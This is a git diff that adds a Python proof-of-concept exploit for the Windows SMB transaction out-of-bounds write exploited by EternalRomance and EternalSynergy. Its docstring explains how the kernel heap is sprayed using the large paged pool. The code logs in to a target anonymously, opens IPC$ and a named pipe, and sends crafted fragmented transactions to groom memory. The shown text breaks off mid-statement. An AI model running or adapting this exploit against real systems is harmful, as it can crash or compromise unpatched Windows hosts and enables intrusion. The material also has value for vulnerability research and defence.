diff --git a/eternalsynergy_poc.py b/eternalsynergy_poc.py new file mode 100644 index 0000000..8702488 --- /dev/null +++ b/eternalsynergy_poc.py @@ -0,0 +1,90 @@ +from mysmb import MYSMB +from impacket import smb +from struct import pack, unpack +import sys + +''' +PoC: demonstrates how NSA eternalromance and eternalsynergy does the transaction alignment with large paged pool + +Note: +- This method is less reliable than matched-pair method and has higher chance to crash a target +- I add this method to show how to spraying heap with large paged pool only + +The exploit method uses only large paged pool for spraying heap. All transaction structs are at start of memory page. +The OOB write bug need to overwrite data on the next memory page. There are 2 cases to make the target crashes. +- The next memory page is invalid (page fault) +- The next memory page is other data structure + +Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in +same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be +free chunk data (failed but not crash the target). +''' + +USERNAME = '' +PASSWORD = '' + +if len(sys.argv) != 3: + print("{} ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) + +tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +fid = conn.nt_create_andx(tid, pipe_name) + +print('Sending 50 frag packets (25 to free)') +# paged pool size 0x8000 ... 0xc000 +for i in range(5): + for j in range(7, 0xc): + size = (j * 0x1000) + 0xe00 + conn.send_trans(pack('= 0x10000) +for i in range(40): + conn.send_trans(pack('